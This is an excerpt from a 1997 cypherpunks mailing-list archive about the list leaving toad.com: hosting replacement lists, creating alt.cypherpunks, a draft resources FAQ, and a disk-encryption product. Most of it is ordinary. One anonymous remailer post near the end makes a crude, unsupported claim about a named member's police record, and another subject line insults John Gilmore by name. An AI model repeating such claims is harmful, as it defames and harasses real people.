subscribers, and make a special exception for remailers by adding > them to the approval list. Figure if a spammer is smart enough to know what > a remailer is, at least see her traffic for a while. Drop the inclusion of > remailers if volume is too high. A couple of "me too"s: Low volume spam via remailers increases the strength of the remailer net. Yay! Not allowing non-subscribers to post is not a problem is the mailing list is linked to the usenet version. The people who read/post to cypherpunks via a newsgroup interface now can just use the real newsgroup. Also, people who don't get alt.* and don't want to use dejanews can sub to the list version. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwF8A8kz/YzIV3P5AQG+UgL+OPshqmTH8uLZw8gj/9OhrJ3qz+h8mo0t g+KY2rlNLgmMP9AJoGszlc02jNOxWKahBMT/tLWztBG4g3/0Jy4IIFMU0gRz9t/2 pRNwig+MHm5EvhClMeva3rhVe/7t0Fz9 =Xaaf -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Wed Feb 12 06:26:00 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 12 Feb 1997 06:26:00 -0800 (PST) Subject: Cypherpunks-related lists on toad.com Message-ID: <199702121426.GAA19976@toad.com> Hi, John - thanks for supporting and putting up with us all these years. How do you feel about continuing support for the cypherpunks-related lists that are also on toad.com, coderpunks and cypherpunks-announce? I'd guess that if we move the cypherpunks list to another machine, rather than mutating it into alt.cypherpunks, the -announce list should probably also move once the new list is working. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From carolann at censored.org Wed Feb 12 06:26:08 1997 From: carolann at censored.org (Carol Anne Cypherpunk) Date: Wed, 12 Feb 1997 06:26:08 -0800 (PST) Subject: Crypto: Job Opportunity Message-ID: <199702121426.GAA19993@toad.com> -----BEGIN PGP SIGNED MESSAGE----- The Mining Co. (http://www.miningco.com) is looking for "siteguides". There will surely be a guide needed for cryptography. Pay is commensurate with hit volume, but it isn't too shabby, at about 3K per month after about a year. There is the original posting from Sideman's Online Insider following this post to acquaint you with the particulars. Good Luck to whomever from this list (for I'm sure someone will) takes the aformentioned position. I would, but I'm applying for a different site in the Culture/Beliefs section. On one other note, the PGP Plugin for Eudora is MARVELOUS! THIS I can even teach a clueless newbie! Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8 q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI i962UdPbyVs= =69D8 -----END PGP SIGNATURE----- ... For more info, check out < http://www.miningco.com >, sometime on Monday, they will make a lot more information available there than the "coming soon" that was there as of this writing. Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann at censored.org 206.42.112.96 My Homepage The Cyberdoc *********************************************************************** From harka at nycmetro.com Wed Feb 12 06:26:10 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 12 Feb 1997 06:26:10 -0800 (PST) Subject: List! No Way: Creati Message-ID: <199702121426.GAA19999@toad.com> -----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:attila at primenet.com to Harka <=- In> I vote we just set up a new majordomo with some additional In> antispam filters including knocking out exploding mail headers, In> etc. I would accept excluding non-members as long as we take the In> remailers which are listed with either JP or RL. Were it possible to use Perry's PGPDomo, which would effectively keep out at least the Spammers? Perry? :) Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv/y/zltEBIEF0MBAQEnBQf/UVcg/iFUtR3hMk2zrNwZmweqE4XA3cLy ixfNNGoKO6cP0oUnSrqRoWW4LtMrHamMldBMXmFARmkh3joqgFZpzXSwCbiCSFtv yN7tDOmfzvDfI4gRpohuc7ou3rMMlbjs/lZamJAV5iByE8Kh3/phcvOmb5u9zjWK m/bcLsje39fLpIeMHL3y0jYf4Z5wyvb4dndBVeF+m50IguT9hVd3KZ4hza2XiKQr zPkX1Y2uDW1vq9/m2Wd9PLxnio5hrbOuLHdVFzTUxcVBfnJjMB0rrexW3z/2KqJ8 4V0r3xZXqui5z6k55PQTrVZt9Hqb+zVDoDAAA/tzMfHpVU+MOnM3Xg== =Jtwu -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From harka at nycmetro.com Wed Feb 12 06:26:14 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 12 Feb 1997 06:26:14 -0800 (PST) Subject: Win '95 disk crypto... Message-ID: <199702121426.GAA20000@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: SOFT> Encrypted disks for Windows NT In> From: softwinter at post1.com In> Date: Mon, 10 Feb 1997 03:13:22 +0200 (IST) In> Soft Winter Corporation, February 10, 1997 released: In> Shade - strong encryption software for Windows NT. In> Shade allows you to create encrypted disk device inside a file. In> Such a device can then be formatted using any file system In> (like NTFS or FAT) and used as a regular disk. The only difference In> is that Shade will encrypt the data on every write operation In> and decrypt it on every read operation. In> To download go to: http://softwinter.bitbucket.co.il In> Soft Winter Corporation, In> softwinter at post1.com Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv/y1TltEBIEF0MBAQHJGAf8Cyqr97JIRraQNIS+ioHQiT5KDEozoI5w i7C1pEtMk39WX/dmmcECR561KS3/8595a4mf7bebJ9iS8Bl6ZewSHE6F/oo0biWn rLfmCVIAy23ADoww/rwLXhWxntybjQAr2kObbrPhtf8Um8KlmnJ24QTEWWbhugwx UgC+7N4gRAuxv4Qxoshey1oNeASx7cOQ3Q2REj3wsRq1WPFQMkB43lI5YcMQzlYX KgAoCRRLpnRIOpH5gq6qdC8QNs1cy3gZmfoFML/oqBhn0YaxiAs0Hz7LmlSpufgH +7APc4UpVvadRTTi65APbv1BAJQYq+dGo1fhp7Y+rgFYcEeCh4ZC8Q== =0p9D -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From stewarts at ix.netcom.com Wed Feb 12 06:27:44 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 12 Feb 1997 06:27:44 -0800 (PST) Subject: Shade Disk Encryptor for NT Registration key Message-ID: <199702121427.GAA20009@toad.com> >SoftWinter Support >softwinter at post1.com >http://softwinter.bitbucket.co.il Shade looks like an interesting product, and anything that fits into 64K these days (even if that is the size of the zip file) deserves some respect :-) For cypherpunks - it's using MDC as its crypto algorithm, with 160-bit SHA as the hash. I can't tell if that's the original SHA or the revised SHA-1. The readme.txt is adapted from Peter Gutmann's MDC documentation. The demo version runs for 21 days, and doesn't do encryption, so perhaps the real thing is a bit larger. List price is $149 US. I couldn't get it to run - I'm using NT 3.51, which you haven't tested it on, rather than NT 4.0; it complained about not being able to find Image_List_SetImageCnt in COMCTL32.dll or something like that. Perhaps that's related to not having installation instructions with the demo? there's a SecDisk.sys that looks like it wants something done with it... Or perhaps it's just a 3.51 vs. 4.0 difference. Oh, well... > Shade allows you to create encrypted disk device inside a file. > Such a device can then be formated using any file system > (like NTFS or FAT) and used as a regular disk. The only difference > is that Shade will encrypt the data on every write operation > and decrypt it on every read operation. I assume it's possible to use this for TEMP directories for applications like word processors. I'm not sure I'd want to use it for swap, but do you know if that would work? # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dthorn at gte.net Wed Feb 12 06:40:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 06:40:10 -0800 (PST) Subject: New group In-Reply-To: <33019178.58622842@news.demon.co.uk> Message-ID: <3301D5FE.26F7@gte.net> Paul Bradley wrote: > Well despite the obvious problems of propogation I thought it was time > someone actually did something to get us a new home, even if it`s only > temporary. So I have created alt.cypherpunks... See you all over on > usenet!... I pressed the URL alt.cypherpunks and my Netscape server said "no such thing" or words to that effect. From 70401.3161 at CompuServe.COM Wed Feb 12 06:41:19 1997 From: 70401.3161 at CompuServe.COM (KENNETH A. LEONE) Date: Wed, 12 Feb 1997 06:41:19 -0800 (PST) Subject: REMOVE MY NAME Message-ID: <199702121441.GAA20398@toad.com> PLEASE DO NOT FORWARD FURTHER CYPHERPUNKS MESSAGES TO MY E-MAIL ADDRESS. THANK YOU. From agifford at infowest.com Wed Feb 12 06:41:19 1997 From: agifford at infowest.com (Aaron D. gifford) Date: Wed, 12 Feb 1997 06:41:19 -0800 (PST) Subject: Any info on Rep. Goodlatte's SAFE act? Message-ID: <199702121441.GAA20397@toad.com> Does anyone have any information on Congressman Goodlatte's S.A.F.E. act? Aaron out. From ichudov at algebra.com Wed Feb 12 06:41:20 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 06:41:20 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702121441.GAB20399@toad.com> Adam Back wrote: > > > Igor Chudov writes: > > so we have myself, Jim Choate, and you who colunteer to host > > mailing lists for the distributed cypherpunks. > > > > I have already created majordomo at algebra.com and cypherpunks at algebra.com. > > > > We can coordinate our efforts. Actually, we can even have a mini > > mailing list for people who want to participate in the distributed > > cypherpunks experiment. If there is any interest, I can create such > > a list. > > Please do. The list is called cypherpunks-hosts at algebra.com. Use majordomo at algebra.com to sub-scri-be. - Igor. From adam at homeport.org Wed Feb 12 06:41:23 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 06:41:23 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702121441.GAB20401@toad.com> ichudov at algebra.com wrote: | i have already set up majordomo at algebra.com and cypherpunks at algebra.com | and can join. While compitition is great (I think this is the second replacement list?), having multiple cypherpunks lists is a recipie for confusion and cross-posting, which there is already enough of on cypherpunks. So, I'll make the following suggestion: Those who are willing to create lists work together so that there is a single subscribe address, and a single submit address, however many exploders exist. I would personally prefer to see the name cypherpunks lay fallow for a while, and suggest cpunks or something similar. Note that I'm doing nothing more than making a suggestion. Take it as my considered enthusiasm for the continuation of cypherpunks as a list. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From joburger at world.evansville.net Wed Feb 12 06:42:05 1997 From: joburger at world.evansville.net (joburger at world.evansville.net) Date: Wed, 12 Feb 1997 06:42:05 -0800 (PST) Subject: Filling Power Vacuums Message-ID: <199702121442.GAA20419@toad.com> > heh. perhaps "leadership" involves more than posting. perhaps there > is a way to have "leadership" without hierarchy. perhaps "leadership" > is not equivalent to "management". perhaps sometimes > you win by losing, and lose by winning. perhaps water is so powerful > because it is lower than all that which it flows around. Could you explain the bit about having leadership w/o hierarchy. Yes ,if there is an informal leadership such as what Tim was refering to, then their is no heirarchy. However, as soon as people get designated as 'leaders' or 'moderators' then one has to have heirechy in that no matter how the various pieces of a system are arranged, they have to be arranged somehow, even completely at random. imho (which you seem to have so many of) you could spare the pseudo-Zen BS. > > timmy, why are you so upset about the media angle? why do you give the > slightest damn what the media thinks? answer: because you want to be > the one they call when they want to know what the cypherpunks think. > you want them to pay attention to the cypherpunks. in short, you would > like to have the glamor of a leader, without any of the responsibility. I don't think he was suggesting this in the least, he is quite capable of defending himself. I don't particularly like the idea of someone that I had no part in choosing being seen as representative of my views. > I think you would be surprise at the realization that "leaders" exist > in those so-called "anarchies" Key word 'so-called' An anarchie is usually a conceptual ideal that is never reached, sorta like a democracy. > <"power vacuum" to lead and control. > > apparently in your brain, "lead" == "control" Dosen't it though? How else can one 'lead'. Even if just by setting an example the leader is changing the follower's actions, e.g. controlling. Granted the follower is volentarily submitting to this control, but it is control none the less. Most other cases of hard leadership are not as nice. Josh From jer+ at andrew.cmu.edu Wed Feb 12 06:42:11 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 12 Feb 1997 06:42:11 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure Message-ID: <199702121442.GAA20431@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Eric Cordian writes: > A Gilmore Supporter writes: > > > You know, I was vaugley offended by John's comments about whiny > > cypherpunks, until I read this message and realized who he was talking > > about. John, thank you for your years of service to the cypherpunk > > community 9such as it is), > > John Gilmore's only contribution to Cypherpunks has been to provide > a box. I can't even remember the last time he contributed something of > interest to the list, and he certainly ranks as one of the least > frequent contributors of substance over the years. You have obviously never administered a Unix system. Just runing a machine with a few users requires some effort, I've done it. Managing a mailing list, especially one this immensly huge, has got to be one of the bitchliest things on earth. If you think running a majordomo for cypherpunks is just a matter of "providing a box," why don't you try it? > > and Sandy, thanks for your well-intentioned > > (but doomed from day one) efforts to take some resopnsibility for our > > current mess. It's too bad things had to end in such a pissy way, but > > anyone who wants to dole out blame should realize that in an anarchy, > > all members are responsible for the maintainence of freedom. > > Sandy, unlike Herr Gilmore, has been a major contributor of substance > to the list since its inception, and hopefully he will continue to be > in the future. The idea that he should moderate the list was of > course a silly one, but for reasons which do not reflect badly on him > in the least. > > What Mr. Blatz fails to realize is that the "problem" which certain > people tried to solve never really existed. The quality of the > Cypherpunks list is determined solely by the amount of signal, not > by the amount of noise, unless one is getting ones feed of the > list via 1200 baud long distance UUCP. RTFM well-intentioned. And please excuse my lack of gratuitous "scare quotes." (There, is that better?) List members complained. John said there was a problem, Sandy belived him and foolishly volunteered to "moderate" (enough scare quotes for you?) the list. Maybe John has grown into a crumudgen after his years of taking care of toad.com, but he's all but out of the picture now. At least he had the common sence to realize that he was not able to run the list in an appropriate manner and force a carthises. Better that then to let the list die out from continuing moderation. > The notion that the list was ever threatened by the humour of Dr. > Vulis, or the one line bot-spammed insults about Tim May's heritage, > is an absurd one. No one should have had any problem ignoring such > material, and only a politically naive fool would buy this as the > excuse for the blatant usurpation of the list by Gilmore and crew. Agreed. I do, after all, read the "unfiltered" list. But you have no right to tell Mr. Gillmore what to with his machine and his time. Perhaps 10 days is not enough to get a smooth transition to another system, but it does have the nice effect of moving people to action. You could take a look at the literature on social loafing for a full explanation. Cordially, Jeremiah Blatz "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwFYPskz/YzIV3P5AQHS7QMAyccuA5PbahXKAsJNsYdOKZHODqJng7C1 aTJ/BYYefEHngNSSb9KNu/deGUV1rrq/+zbmWfEDQYxBANpkJ6O60w8kJmR7iAI2 iH3TpsuKokazw/3QCLWrKh6AO9TNxwJ1 =2iSj -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Wed Feb 12 06:42:16 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 06:42:16 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702121442.GAA20443@toad.com> Forwarded message: > Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST) > From: ichudov at algebra.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > John Gilmore wrote: > > A pentium is definitely up to this task. I've been running it the > > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and > > general computing). Give it a big /var/spool partition (mine is 60MB) > > because every message will sit in the queue for days (*somebody* on > > the list will have an unreachable name server or MX server until the > > msg times out). Give it lots of RAM and paging space, since each > > sendmail process takes about 2MB virtual, 1.4MB physical, and you will > > have dozens running at the same time. My approach to this problem has been to use a 1G drive and mount the entire file system on it. Swap and MS-Dos each get their own partitions. This allows the use of the entire drive as a buffer. I am in the process of adding another 1G in approx. two weeks with the intent of moving /home off the main drive. This not only gives the system more space but the users as well. I set swap to 4x main ram. I use Linux and have it as one giant partition even though suggested is blocks of 16M, works for me (YMMV). Would be minor to monitor df and alarm when it gets to 200M or something. I must admit however that I am looking at a faster mbrd. and a bigger hard drive in the immediate future to make up for the extra load I expect. Had not really planned on the remailer project however... > > You'll need a BIG mailbox for the bounce messages, and someone (or > > some unwritten software) to scan it every day or two and delete the > > lusers whose mailboxes are full or who dumped their account without > > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of > > email a day; more when the list is under attack. How about dumping the bounces to /dev/null? I shure don't care if some bozo's (other than mine that is) mailbox goes away. > > Make sure that every message sent to the list gets into at least > > two logfiles -- on separate partitions, in case one fills up. At > > least if you want to have an archive of what's been sent. I have no intention of acting as an archive. I personaly see that as a 'subscriber' issue. Potentialy even a business if the archive were suitably databased. Of course with the distributed model any member is potentialy capable of this. > > > I can provide a pentium box running Linux with a T1 connection to > > > MAE-West to host the list, if there is still interest. I would certainly be interested in your involvment with the Distributed Remailer. > > The real issue is how willing you are to put your own time into > > dealing with problems. Not only do things go wrong by themselves, but > > there are malicious assholes in the world who will deliberately make > > trouble for you just because they like to. Spending a day or two > > cleaning up the mess is just part of the job. Check your level of > > committment two or three times before taking on the task -- so you > > won't end up getting disgusted after a month or two and putting the > > list's existence into crisis again. It's not a "set it up and forget > > it" kind of operation. I can verify this. If I was not already having to deal with these problem as a current mailing list operator I certainly would not take on the job. It is one of the reasons I STRONGLY suggest anyone serious about this should use the resources to make money as well. Anyone capable of setting up and operating such a remailer system is at least capable of basic skills. > Another suggestion may be to set sendmail expire option to one day > instead of five so that messages that cannot be delivered would bounce > faster and not clog the queue. I like this idea very much. Myself I would set it for like 4 hours or so and if it couldn't be delivered then bye bye. Another motivation for selective sites to operate as archives without themselves being remailers. Another issue related to this is at what point to unsubscribe accounts. It seems to me that if the address times out some number of times it should be deleted. Is anyone interested in acting as a mail-to-news gateway? Jim Choate CyberTects ravage at ssz.com From omegam at cmq.com Wed Feb 12 06:42:26 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Wed, 12 Feb 1997 06:42:26 -0800 (PST) Subject: Cypherpunks-resources FAQ for alt.cypherpunks Message-ID: <199702121442.GAA20451@toad.com> I am under the assumption that alt.cypherpunks or alt.privacy.cypherpunks or some such will come into existence shortly. With that in mind, I have decided to create a FAQ of pointers to resources on cypherpunk issues. The goal is to help eliminate the "What is PGP?" and other newbie-questions that are bound to come up even more frequently in a newsgroup scenario. A FAQ such as this has probably long been appropriate, but it didn't really occur to me until just now. Not being a cryptologist or adequate coder, this is one way I feel I can contribute. It's hard to have discussions when people haven't even looked at the background information before piping in. I don't pretend that a FAQ can prevent this, but it's worth a shot anyway. I started typing away about two hours ago and came up with the following. It's pretty shaky since it's late and it's Mardi Gras. Feel free to comment in public or private. Please, Please, Please make suggestions and provide relevant pointers. Obviously, I will be doing a lot of research over the next few weeks to fill in this very bare outline. If you disagree with this or feel its useless... fine. Please tell me and explain all your reasons why. Besides, I'm doing it regardless. Here's what I'm chewing on so far.... ----------------------------------------------------------------------- Cypherpunks Resources FAQ version 0.000000001 This document lists resources for readers interested in Cypherpunk issues and goals. The primary intention of this document is to get new readers to the group to explore the background issues which cypherpunks attempt to address. It also includes pointers to many common cryptographic implementations and tools. Furthermore, pointers and instructions for various mailreaders are provided to help users filter out some of Usenet's inevitable noise and glean the most useful information they can from this newsgroup. This FAQ does not attempt to explictly define who the Cypherpunks are or answer questions about the philosophy. That is an exercise for the reader who utilizes the pointers within to find the answers on their own. After exploring these resources, the hope is that the reader will become a more effective and insightful contributor to alt.cypherpunks -- even if he/she is opposed to the goals of the group. This FAQ is propagated monthly to alt.cypherpunks. It can also be obtained be sending email with the subject and/or body "get cpunks faq" to omegam at cmq.com. When information in the FAQ is updated, I will also post a "what's new" message for those who are interested in reading additions/corrections without wading throught the entire FAQ again. -------*********------- Author's Note/Disclaimer ---------*********--------- I maintain this FAQ solely on a voluntary basis. I am doing this because I think it is necessary. It would be contrary to the anarchic nature of the Cypherpunks to attempt to call this an official FAQ of the Cypherpunks group. Anyone who disagrees with the editing decisions and pointer selections I have made in this FAQ is free to. What this means is that you are encouraged to send comments, suggestions, corrections, new questions, and answers to me. I may or may not include them in future revisions of the FAQ. I do ask that somewhere in the subject of your mail redarding this FAQ you include the text "(CFAQ suggest)", so procmail can file such comments appropriately and I can address them in a more efficient manner. If I use your suggestion or answer to a question, I will attribute the reference to you unless you request that I do not. You are free to create your own Cypherpunks-resources FAQ if you don't like mine. - Scott _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ -------*********--------*********---------********--------*********------ Premliminary Outline Section 1 Introduction and General Information? Q1.1 Does this newsgroup have a charter (No but, Tim's "official" charter. Eric's note at end of original toad.com welcome message) Q1.2 How did the group get started? (Need a brief history of group as well as any pointers to early history information and posts, also include pointer to early wired article) Q1.3 What do Cypherpunks want? (May's Cyphernomicon, CSUA Berkely site, Others?) Q1.4 What happened to the toad.com mailing list? Are there archives? (Brief explanation, quote Gilmore's message? point to the usual archives? Note: check and note if arhive site still prevents IE usage) Q1.5 Are there other groups besides Cypherpunks who share these goals. (point to Epic, EFF, etc sites which all have good archival information on political crypto causes even if many cpunks have strong disagreement with some of these groups. also point to Cryptography at c2.net and coderpunks lists) Q1.6 What have the cypherpunks done to advance their goals other that merely talk about them?(Pointers to anon remailers, Linux-IPSEC project, Mykotronx scandal--really need a good pointer here, more. Mention of course that many who call themselves cypherpunks are professionals in the computer security field.) Q1.7 Im interested, what can I do? Pointers to current projects, i distributed DES crack Q1.8 Quick n' Dirty Glossary: ie. GAK, TLA, etc. Section 2 Crypto in Action Q2.1 Pointers galore to PGP resources. Q2.2 Point to Schneir's site and include biblio info on Applied Crypto Q2.2 Point to cryptlib toolkits Q2.3 RSA, of course. Q2.4 pointers to disk encryption utilities for various platforms Q2.5 pointers to Raph's remailer site and other remailer info sites. remailer software. software to make remailer usage simpler (premail, PIdaho) Q2.6 pointers to the various digital cash purveyors and to explanations of how Chaumian digital cash works. Q2.7 pointers to Apache-SSL site and info, Stronghold, Q2.8 SSH Q2.9 Pointers to sites describing how various types of crypto actually work Q3.0 But how do I know if it's good crypto? Point to snake Oil FAQ? Schneir's essay. Use your brain. Section 3 Crypto and the Law Q3.1 Froomkin's site obviously.. John Young's also obvious. EFF has a good archive too. Karn case, others. Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR Q3.3 Pointers past Clipper failure info. Section 4 Who's who & (recent) History of Crypto. Q4.1 A couple of good general history sites exist. also Codebreakers bibliographical reference. Q4.2 Enigma is a common question, point to relevant sites. Q4.3 Whit Diffie--some interviews etc are available Q4.4 Bruce Schneir same Q4.5 Phil Z and PGP history and interviews. Q4.6 Jim Bizdos Q4.8 Dorothy Denning (go to include the enemy too) Q4.7 Pointers to news on breaks of ciphers Q4.8 NSA site. (Others? I'm getting sleepy, names escaping me at the moment) Question 5 Help! I want to know more but I'm drowning in noise Q5.1 Point to filtered lists in existence Q5.2 news2mail gateways as source of list. mail filtering tools come into good use. point to a bunch of them. Q5.3 Point to kill-file info for various newsreaders and platforms. Possibly include generic examples from own experience and list user's experience who wish to contribute. Specific names will be ommitted of course. Also score information for those interested Q5.4 point to information on other utilities and verification-type schemes _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ From rah at shipwright.com Wed Feb 12 06:43:05 1997 From: rah at shipwright.com (Robert A. Hettinga) Date: Wed, 12 Feb 1997 06:43:05 -0800 (PST) Subject: alt.cypherpunks lives! was Re: New group Message-ID: <199702121443.GAA20454@toad.com> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) c'punks: I went to look at news this morning, and I found the following: In article <33019178.58622842 at news.demon.co.uk>, paul at fatmans.demon.co.uk (Paul Bradley) wrote: | Well despite the obvious problems of propogation I thought it was time | someone actually did something to get us a new home, even if it`s only | temporary. So I have created alt.cypherpunks... See you all over on | usenet!... It seems this alt.cypherpunks thing was a lot easier than it looks. Either that, or I have a clueful newsadmin. :-) Cheers, Bob -- Robert Hettinga e$ 44 Farquhar Street Boston, MA 02131 The e$ Home Page: http://thumper.vmeng.com/rah/ From mfisher at ash.nl Wed Feb 12 06:43:06 1997 From: mfisher at ash.nl (Monica Fisher) Date: Wed, 12 Feb 1997 06:43:06 -0800 (PST) Subject: please Message-ID: <199702121443.GAA20469@toad.com> Please take mfisher at ash.nl off of your mailing list From chefren at pi.net Wed Feb 12 06:43:08 1997 From: chefren at pi.net (chefren) Date: Wed, 12 Feb 1997 06:43:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702121443.GAA20474@toad.com> On 11 Feb 97 at 3:54, John Gilmore wrote: > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: Hm... In the year 1513 or 1514 someone who could be an Honourable Member of this list (if one could be one...) wrote: > There is nothing more difficult to take in hand, more > perilous to conduct, or more uncertain in its success, > than to take the lead in the introduction of a new order > of things. Please stop at looking too much on how people scream about your new ideas and continue this list the way you like it!!! I think it's Your Machine and we have to respect your decision to pull the plug, nobody should blame you for that, but please listen a little to the 1000+ people who don't scream and are obviously happy with the list and respected your right to do the "sandy filter experiment". +++chefren From paul at fatmans.demon.co.uk Wed Feb 12 06:44:47 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 12 Feb 1997 06:44:47 -0800 (PST) Subject: New group Message-ID: <199702121444.GAA20517@toad.com> Hi all, Well despite the obvious problems of propogation I thought it was time someone actually did something to get us a new home, even if it`s only temporary. So I have created alt.cypherpunks... See you all over on usenet!... Best regards... Paul Bradley From dthorn at gte.net Wed Feb 12 06:46:31 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 06:46:31 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" Message-ID: <199702121446.GAA20539@toad.com> Timothy C. May wrote: > At 7:11 PM +0000 2/11/97, Attila T. Hun wrote: > > two points you make: > > 1. the propogation is slow... > > 2. some sites do not carry alt. groups > > are enough to kill an active discussion list. of course, it does > > slow down excessive volume. Good if all this is worked out in advance. I'd like to add a couple thoughts: The freedom from temptation to interfere (censor, etc.) outweighs the slowness. The nature of the list (crypto) creates more paranoia than most other lists, making the above even more important, with the advantage being that there *should* be less noise than other forums due to the technical nature of the discussion. Thanks to the last couple of months, c-punks has now provided nearly every example of what to look out for and plan for. From dthorn at gte.net Wed Feb 12 06:51:53 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 06:51:53 -0800 (PST) Subject: Germany Versus Scientology In-Reply-To: Message-ID: <3301D8B7.4F35@gte.net> Jeremiah A Blatz wrote: > Evil se7en writes: > > I have posted a rather lengthy story about Germany's war against the > > Scientologists. It was long enough to preclude mailing it directly to the > > lists, so I have put it on my web site. You may find it at: > Heh, the top German Gov't anti-$cientoligist: > "The state is obliged to protect its citizens from totalitarian > organizations." > I just love this whole thing. It's like two neighborhood bullies going > at it in the school yard. It doesn't matter who wins, as long as it's > long and bloody. If it were "just bullies", we could all sleep easier at night. Alas, this is the next-generation manifestation of the anti-anti- Holocaust laws that have been in place for 40-50 years in Germany. There must be other countries with strong legal traditions similar to this one. Makes the picture much more complex. And don't forget, the conditions of Scientology's new tax exempt status are still secret. From shamrock at netcom.com Wed Feb 12 06:55:54 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 12 Feb 1997 06:55:54 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <3.0.32.19970212065157.006f2d7c@192.100.81.136> At 08:04 PM 2/11/97 -0500, John Young wrote: [Trying whois] Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the moderator of the famous bugtraq mailing list. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From nobody at huge.cajones.com Wed Feb 12 07:10:20 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 12 Feb 1997 07:10:20 -0800 (PST) Subject: Forgery detection Message-ID: <199702121510.HAA05328@mailmasher.com> Timothy C[rook] Maya's police record is many times longer than his prick (well, that's not hard). /\ /\ + \______/ + / . . \ < / > \ \--/ / ------ From ravage at EINSTEIN.ssz.com Wed Feb 12 07:11:00 1997 From: ravage at 